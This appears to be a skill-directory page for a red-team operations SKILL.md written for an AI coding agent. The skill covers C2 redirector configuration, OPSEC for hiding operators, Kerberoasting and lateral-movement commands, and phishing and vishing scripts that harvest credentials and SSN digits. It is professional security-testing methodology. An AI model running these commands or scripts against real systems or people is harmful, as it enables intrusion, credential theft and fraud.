14-red-team-ops
Authorized red team engagement planning, C2 architecture design, attack
Install / Use
npx skills add Masriyan/Claude-Code-CyberSecurity-Skill --skill 14-red-team-opsInstalls into whichever agent you are using.
SKILL.md
Installable skill definition
Quality Score
Category
SecuritySupported Platforms
Our assessment of 14-red-team-ops
14-red-team-ops scores 88/100 on our quality scale, 644th of 1,094 Security skills we index.
Its SKILL.md is 15 KB long, well organised into 47 sections with 14 code examples: a thorough specification that gives an agent plenty to work with.
It has 441 GitHub stars, a meaningful sign that others use it.
Maintenance, license and trust
- The repository was last updated about 2 months ago, so 14-red-team-ops is actively maintained.
- Our last check on 2026-11-01 found the source still online.
- It is released under the MIT license, a permissive license that allows use, modification and commercial use with attribution.
- Its trust signals score 100/100, with no cautions. These come from repository metadata, not a code audit — read the skill file before letting an agent act on it.
Safety scan
No issues foundOur scan of the whole file found no instruction hijacking, hidden characters, credential access, data exfiltration or destructive commands. An AI review of the same text found nothing harmful.
AI review by kimi-k2.7-code on 2026-10-07. Automated pattern scan on 2026-10-07. It catches known dangerous patterns, not every risk — read a skill before letting an agent act on it.
14-red-team-ops compared with similar skills
All 4 of these similar skills score higher than 14-red-team-ops; compare them before choosing.
| Skill | Score | Stars | Updated | Format |
|---|---|---|---|---|
| 14-red-team-ops (this skill)by Masriyan | 88 | 441 | 2mo ago | SKILL.md |
| taste-skillby Leonxlnx | 100 | 117.8k | 9d ago | CLAUDE.md |
| Agent-Reachby Panniantong | 100 | 112.8k | 10d ago | CLAUDE.md |
| headroomby headroomlabs-ai | 100 | 79.9k | today | CLAUDE.md |
| Claude-Code-Game-Studiosby Donchitos | 100 | 40.0k | 8d ago | CLAUDE.md |
Frequently asked questions
- How do I install 14-red-team-ops?
- Run
npx skills add Masriyan/Claude-Code-CyberSecurity-Skill --skill 14-red-team-ops. The install tabs above show the steps for each supported agent. - Which AI agents does 14-red-team-ops work with?
- It is written for Claude Code and Zed, as a SKILL.md file. Other agents that read the same format can often use it too.
- Is 14-red-team-ops safe to use?
- Our scan of the whole file found no instruction hijacking, hidden characters, credential access, data exfiltration or destructive commands. An AI review of the same text found nothing harmful. It is MIT-licensed and scores 100/100 on trust signals. Skills are instructions an agent will follow, so read the file before installing it and do not approve commands you do not understand.
- Is 14-red-team-ops still maintained?
- The repository was last updated about 2 months ago, so 14-red-team-ops is actively maintained.
Skill content
View source on GitHubname: Red Team Operations & Engagement Planning description: Authorized red team engagement planning, C2 architecture design, attack methodology, lateral movement strategy, OPSEC, and professional reporting version: 3.1.0 author: Masriyan tags: [cybersecurity, red-team, c2, lateral-movement, persistence, pentest, engagement, opsec]
Red Team Operations & Engagement Planning
Purpose
Enable Claude to assist authorized red team operators with engagement planning, C2 infrastructure design, attack methodology guidance, lateral movement strategy, OPSEC planning, and comprehensive reporting. Every workflow requires confirmed written authorization.
CRITICAL — AUTHORIZATION GATE: Red team assistance requires explicit authorization confirmation before proceeding. Claude will ask for authorization context and will not assist with active attack planning without it.
Authorized contexts:
- Signed Statement of Work (SOW) or Rules of Engagement (ROE)
- Bug bounty program (confirm target is in-scope)
- Internal security testing (confirm organizational authority)
- CTF competition (confirm challenge platform and scope)
- Research in owned/isolated lab environment
Activation Triggers
This skill activates when the user asks about:
- Planning a red team engagement or adversary simulation
- Designing C2 infrastructure (redirectors, team servers, C2 profiles)
- Active Directory attack paths (BloodHound, Kerberoasting, DCSync)
- Lateral movement techniques for authorized engagements
- Persistence mechanisms in red team context
- Social engineering campaign planning (authorized)
- Red team reporting and executive presentations
- Tabletop exercises (TTX) design
- Purple team collaboration
- OPSEC planning for authorized operations
Prerequisites
pip install pyyaml requests
Tools for authorized operations:
Cobalt Strike / Sliver / Havoc— C2 frameworksMetasploit— Exploitation frameworkBloodHound / SharpHound— AD attack path analysisImpacket— Network protocol toolsCrackMapExec / NetExec— AD enumerationResponder— LLMNR/NBT-NS poisoningMimikatz— Credential access (Windows)
Authorization Verification
Before any operational planning, Claude asks:
Red team assistance requires authorization confirmation:
1. What is the engagement type?
□ External penetration test
□ Internal network assessment
□ Red team / adversary simulation
□ Social engineering assessment
□ Physical security assessment
□ CTF competition
2. What is your authorization basis?
□ Signed SOW / contract with target organization
□ Internal role (IT/Security team testing own systems)
□ Bug bounty — [program name]
□ CTF — [platform and challenge name]
3. What is the defined scope?
(IP ranges, domains, systems, excluded assets)
4. Who is the target organization's security point of contact?
(For deconfliction — required for IR-level engagements)
Confirm before proceeding. Operational assistance without confirmed
authorization cannot be provided.
Core Capabilities
1. Engagement Planning
When the user asks to plan a red team engagement:
Engagement Planning Framework:
# Red Team Engagement Plan
**Client:** [Organization Name]
**Engagement Type:** [Full Red Team / CRTO / APT Simulation]
**Start Date:** [Date]
**End Date:** [Date]
**Rules of Engagement Version:** 1.0
## Objectives
- Primary: [e.g., Test detection and response capabilities against APT29 TTPs]
- Secondary: [e.g., Identify privilege escalation paths to Domain Admin]
- Out of Scope: [e.g., Production databases, payment systems, physical access]
## Threat Profile
**Simulating:** [APT29 / FIN7 / LockBit / Custom adversary profile]
**Initial Access Vector:** [Spearphishing / Supply chain / Watering hole]
**Primary Goal:** [Data exfiltration / Ransomware simulation / Domain takeover]
## Attack Kill Chain Phases
1. Reconnaissance → OSINT, subdomain enum (Skill 01)
2. Initial Access → Phishing / external vuln exploitation
3. Execution → PowerShell / LOLBins / custom implant
4. Persistence → Registry / service / scheduled task
5. Privilege Escalation → Local privesc → Domain Admin
6. Defense Evasion → Process injection / AMSI bypass
7. Credential Access → LSASS / Kerberoasting / DCSync
8. Lateral Movement → PSExec / WMI / RDP
9. Collection → Identify critical data
10. Exfiltration → Staged transfer to simulated C2
## Rules of Engagement
- Testing hours: [24x7 / Business hours only / Agreed windows]
- Destructive testing: [Prohibited / Limited / Authorized]
- DoS testing: [Prohibited]
- Social engineering: [Authorized / Prohibited / Phishing only]
- Physical access: [Prohibited / Badge cloning only]
- Deconfliction: Call [POC Name] at [Phone] if critical systems impacted
## Emergency Abort Procedure
If critical systems are impacted unexpectedly:
1. Immediately cease all operations
2. Call [POC] at [Phone] — available 24/7
3. Document what was done and when
4. Stand down until authorized to resume
Engagement Planning Script:
python scripts/engagement_planner.py --scope scope.json --output plan.md
2. C2 Infrastructure Design
When the user asks about C2 infrastructure for authorized operations:
Multi-Tier C2 Architecture:
[Team Server] ← (internal/VPN only) → [Redirector 1 (HTTPS)] ← → [Beacon]
→ [Redirector 2 (DNS)] ← → [Beacon]
→ [Backup Redirector]
Infrastructure Components:
- Team Server — Never directly exposed to internet; VPN access only
- Redirectors — Cloud VPS instances (AWS/Azure/GCP) that proxy C2 traffic
- C2 Channels — HTTPS (primary), DNS (backup), WebSocket (evasive)
- Domain Selection — Aged domains, categorized (business/tech), valid cert
Redirector Setup (Apache mod_rewrite):
# Redirect only Cobalt Strike beacon traffic to team server
# Everything else → sends to legitimate domain (blend in)
RewriteEngine On
RewriteCond %{HTTP_USER_AGENT} "Mozilla/5.0 \(Windows NT 6.1; WOW64\) AppleWebKit.*"
RewriteCond %{REQUEST_URI} "^/jquery-3\.3\.1\.min\.js$"
RewriteRule ^(.*)$ http://TEAMSERVER_IP/$1 [P,L]
RewriteRule ^(.*)$ https://microsoft.com/ [R=302,L] # Decoy redirect
Malleable C2 Profile Considerations:
- Mimic legitimate application traffic (CDN requests, Office updates, etc.)
- Match real User-Agent strings from target environment
- Use appropriate HTTP headers (Host, Accept-Language, etc.)
- Set sleep/jitter to blend with normal traffic intervals
OPSEC Checklist:
Infrastructure OPSEC:
[ ] Team server not directly accessible from internet
[ ] All redirectors provisioned from different providers than each other
[ ] Domain registered with privacy protection
[ ] Domain aged ≥30 days before operation
[ ] TLS certificate from legitimate CA (not self-signed)
[ ] Kill dates set on all implants
[ ] Logging enabled on team server for post-engagement review
Operational OPSEC:
[ ] VPN/Tor for infrastructure access (not home IP)
[ ] Separate browser profile for research vs. operation
[ ] No real name/email in domain registration
[ ] Payment via anonymous method where legally permitted
[ ] Implant config: sandbox detection, sleep with jitter
[ ] All C2 traffic encrypted and indistinguishable from HTTPS
3. Active Directory Attack Methodology
When the user asks about AD attack paths for authorized engagements:
BloodHound Analysis Workflow:
# Collection (run on domain-joined host in scope)
# PowerShell-based (noisier but complete)
Import-Module SharpHound.ps1
Invoke-BloodHound -CollectionMethod All -OutputDirectory C:\temp\
# C# executable (quieter)
SharpHound.exe -c All --outputdirectory C:\temp\
# Upload ZIP to BloodHound UI and analyze:
# Queries to run:
# - Find Shortest Paths to Domain Admins
# - Find Principals with DCSync Rights
# - Find Computers with Unsupported Operating Systems
# - Find AS-REP Roastable Users
Key AD Attack Techniques (authorized):
| Technique | ATT&CK ID | Tool | Description | |-----------|-----------|------|-------------| | Kerberoasting | T1558.003 | Rubeus, Impacket | Request TGS for SPNs → crack offline | | AS-REP Roasting | T1558.004 | Rubeus, GetNPUsers.py | Users with no pre-auth required | | Pass-the-Hash | T1550.002 | Impacket, CrackMapExec | Use NTLM hash without cracking | | Pass-the-Ticket | T1550.003 | Rubeus | Use Kerberos ticket for auth | | Overpass-the-Hash | T1550.003 | Rubeus | Convert NTLM hash to TGT | | DCSync | T1003.006 | Mimikatz, Impacket | Replicate domain hashes | | Golden Ticket | T1558.001 | Mimikatz | Forge TGT with KRBTGT hash | | Silver Ticket | T1558.002 | Mimikatz | Forge TGS for specific service |
Kerberoasting (authorized use):
# Using Impacket (Linux → Windows domain)
GetUserSPNs.py -dc-ip 192.168.1.10 domain.local/user:password -request
# Using Rubeus (on Windows, in scope)
Rubeus.exe kerberoast /outfile:hashes.txt
# Crack with hashcat
hashcat -m 13100 hashes.txt /usr/share/wordlists/rockyou.txt
Lateral Movement Options:
# PsExec style (via Impacket)
psexec.py domain.local/admin:password@192.168.1.20
# WMI execution
wmiexec.py domain.local/admin:password@192.168.1.20
# SMB with NetExec
nxc smb 192.168.1.0/24 -u admin -p 'password' --shares
# RDP (if authorized)
rdesktop -u admin -p password 192.168.1.20
4. Social Engineering (Authorized Campaigns)
When the user asks to plan an authorized social engineering exercise:
Phishing Campaign Framework:
- Scope confirmation — What targets are authorized? What is prohibited?
- Pretext development — What scenario is believable for this organization?
- IT help desk password reset
- Finance: invoice / payment confirmation
- HR: benefits enrollment
- Executive: board communication
- Infrastructure setup — Phishing domain, email server, landing page
- Landing page — Credential harvester or payload delivery
- Tracking — Click tracking, credential capture, payload execution
- Reporting metrics — Click rate, credential submission rate, report rate
Pretext Template (for authorized campaigns):
Subject: Action Required: IT Security Policy Update — Password Reset Required
From: IT Help Desk <helpdesk@[spoofed-or-lookalike-domain]>
Dear [Name],
As part of our ongoing security improvements, all employees must update their
passwords by [date]. Please click the link below to verify your identity and
reset your password:
[Phishing Link]
If you did not receive this email or have questions, contact the IT Help Desk
at x4444.
Regards,
IT Security Team
[Company Name]
---
[Include realistic footer with physical address, unsubscribe link for legitimacy]
Vishing Script Template:
Caller: "Hi, this is [Name] from IT Security. We've detected some unusual
activity on your account. I need to verify your identity. Can I get your
employee ID and the last four digits of your SSN?..."
5. Red Team Reporting
When the user asks to create a red team report:
# Red Team Assessment Report
**CLIENT CONFIDENTIAL**
**Organization:** [Client Name]
**Assessment Type:** [Red Team / APT Simulation]
**Assessment Period:** [Date] to [Date]
**Report Date:** [Date]
**Report Classification:** Client Confidential
---
## Executive Summary
[2-3 paragraphs: what was tested, what was found at high level,
key recommendations. Written for non-technical executives.]
**Overall Risk Rating:** [Critical / High / Medium / Low]
**Key Findings:**
1. Initial access achieved via [vector] within [timeframe]
2. Domain Admin achieved via [technique] after [timeframe]
3. Detection gap: [N] hours from initial access to detection
4. [N] objectives achieved out of [N] defined
---
## Attack Timeline
| Phase | Time | Action | Detection? |
|-------|------|--------|-----------|
|
Truncated for display — read the full file on GitHub.
Related Skills
taste-skill
117.8kAgent skills that give coding agents taste: art direction, reference images and a browser check instead of generic AI pages
Agent-Reach
112.8kGive your AI agent eyes to see the entire internet. Read & search Twitter, Reddit, YouTube, GitHub, Bilibili, XiaoHongShu — one CLI, zero API fees.
headroom
79.9kCompress tool outputs, logs, files, and RAG chunks before they reach the LLM. 20% fewer tokens for coding agents, 60-95% fewer tokens for JSON, same answers. Library, proxy, MCP server.
Claude-Code-Game-Studios
40.0kTurn Claude Code into a full game dev studio — 49 AI agents, 75 workflow skills, and a complete coordination system mirroring real studio hierarchy.
Languages
Trust signals
From repository metadata: license, adoption, age and documentation. Not a code audit — see the Safety scan above for what the skill file itself contains.
